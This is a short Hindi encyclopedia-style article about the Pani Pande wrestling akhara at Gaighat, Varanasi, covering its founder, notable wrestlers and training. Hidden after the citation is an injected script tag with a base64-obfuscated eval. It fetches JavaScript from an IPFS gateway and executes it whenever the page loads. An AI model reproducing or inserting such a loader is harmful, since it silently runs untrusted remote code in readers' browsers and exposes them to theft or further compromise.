पानी पाँडे का अखाड़ा, वाराणसी

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गायघाट पर पानी पाँड़े का अखाड़ा है। जिसके संस्थापक रघुबीर मिश्र थे। उनके पौत्र महेश मिश्र ने इस अखाड़े की गरिमा बनाई। इसे आजकल अखाड़ा हनुमान गढ़ी कहा जाने लगा है। अयोध्या के दामोदर ब्रह्मचारी से हुई कुश्ती में दादा जी 59 मिनट तक लड़ते रहे अन्त में मामला अनिर्णित रहा। टोका, झारखण्डे, बिलान, रामलोचन ने कुश्तियों में बड़े-बड़े के छक्के छुड़ा दिये थे। राधेश्याम मिश्र आल इण्डिया वेल्टरवैट चैम्पियन रहे। जनार्दन भार्गव ओलम्पिक कुश्तियों से जुड़े रहे। अनन्त भार्गव अन्तर्राष्ट्रीय रेफरी बने। वस्तुतः यह अखाड़ा ओलम्पिक की तरह की कुश्तियों का प्रशिक्षण देता है।[1]



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टीका टिप्पणी और संदर्भ

  1. अखाड़े/व्यायामशालाएँ (हिंदी) काशीकथा। अभिगमन तिथि: 19 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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